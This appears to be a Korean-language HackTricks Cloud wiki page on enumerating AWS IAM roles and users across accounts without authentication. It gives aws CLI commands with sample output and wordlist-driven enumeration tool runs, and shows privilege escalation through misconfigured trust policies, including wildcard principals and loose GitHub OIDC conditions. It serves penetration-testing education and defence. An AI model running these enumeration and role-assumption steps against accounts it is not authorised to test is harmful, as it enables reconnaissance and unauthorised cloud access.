AWS - IAM & STS Unauthenticated Enum

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• 구독 플랜을 확인하세요!

• 💬 Discord 그룹 또는 telegram 그룹에 가입하거나 Twitter 🐦 @hacktricks_live을 팔로우하세요.

• PR을 제출하여 해킹 트릭을 공유하세요 HackTricks 및 HackTricks Cloud github 저장소에.

계정에서 역할 및 사용자 이름 열거

Assume Role Brute-Force

이 기술은 더 이상 작동하지 않습니다. 역할이 존재하든 존재하지 않든 항상 이 오류가 발생합니다:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

테스트하려면 다음을 실행할 수 있습니다:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

필요한 권한 없이 역할을 가정하려고 시도하면 AWS 오류 메시지가 발생합니다. 예를 들어, 권한이 없으면 AWS는 다음과 같은 메시지를 반환할 수 있습니다:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

이 메시지는 역할의 존재를 확인하지만, 역할 정책이 당신의 가정을 허용하지 않음을 나타냅니다. 반면에, 존재하지 않는 역할을 가정하려고 하면 다른 오류가 발생합니다:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

흥미롭게도, 존재하는 역할과 존재하지 않는 역할을 구별하는 이 방법은 다른 AWS 계정에서도 적용 가능합니다. 유효한 AWS 계정 ID와 타겟 워드리스트를 사용하면, 계정에 존재하는 역할을 본질적인 제한 없이 열거할 수 있습니다.

이 문제를 악용하여 잠재적인 주체를 열거하는 스크립트를 사용할 수 있습니다.

신뢰 정책: 크로스 계정 역할 및 사용자 무차별 대입

IAM 역할의 신뢰 정책을 구성하거나 업데이트하는 것은 해당 역할을 가정하고 임시 자격 증명을 얻을 수 있는 AWS 리소스나 서비스를 정의하는 것을 포함합니다. 정책에 지정된 리소스가 존재하면, 신뢰 정책이 성공적으로 저장됩니다. 그러나 리소스가 존재하지 않으면, 오류가 발생하여 잘못된 주체가 제공되었음을 나타냅니다.

해당 리소스에 크로스 계정 역할이나 사용자를 지정할 수 있음을 유의하십시오:

• arn:aws:iam::acc_id:role/role_name

• arn:aws:iam::acc_id:user/user_name

다음은 정책 예시입니다:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

이것은 존재하지 않는 역할을 사용할 때 찾을 수 있는 오류입니다. 역할이 존재하면 정책이 오류 없이 저장됩니다. (오류는 업데이트 시 발생하지만, 생성 시에도 작동합니다)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

이 프로세스를 자동화할 수 있습니다 https://github.com/carlospolop/aws_tools

• bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

또는 Pacu 사용:

• run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

• run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

• 예제에서 사용된 admin 역할은 pacu가 열거를 위해 필요한 정책을 생성하기 위해 가장할 계정의 역할입니다.

Privesc

역할이 잘못 구성되어 누구나 이를 가정할 수 있는 경우:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

공격자는 그것을 가정할 수 있습니다.

Third Party OIDC Federation

Github Actions workflow를 읽어서 AWS 내부의 role에 접근한다고 상상해보세요. 이 신뢰는 다음과 같은 trust policy를 가진 역할에 접근할 수 있을 것입니다:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

이 신뢰 정책이 맞을 수도 있지만, 더 많은 조건이 없는 것은 신뢰하지 않게 만듭니다. 이것은 이전 역할이 Github Actions의 누구든지에 의해 가정될 수 있기 때문입니다! 조건에 조직 이름, 저장소 이름, 환경, 브랜치 등도 지정해야 합니다.

또 다른 잠재적인 잘못된 구성은 다음과 같은 조건을 추가하는 것입니다:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

콜론 (:) 앞에 와일드카드 (*)가 있는 것을 주의하세요. org_name1과 같은 조직을 만들고 Github Action에서 역할을 가정할 수 있습니다.

참고 자료

• https://www.youtube.com/watch?v=8ZXRw4Ry3mQ

• https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/

AWS 해킹 학습 및 연습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 연습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

• 구독 플랜을 확인하세요!

• 💬 Discord 그룹 또는 telegram 그룹에 가입하거나 Twitter 🐦 @hacktricks_live을 팔로우하세요.

• PR을 제출하여 HackTricks 및 HackTricks Cloud github 저장소에 해킹 트릭을 공유하세요.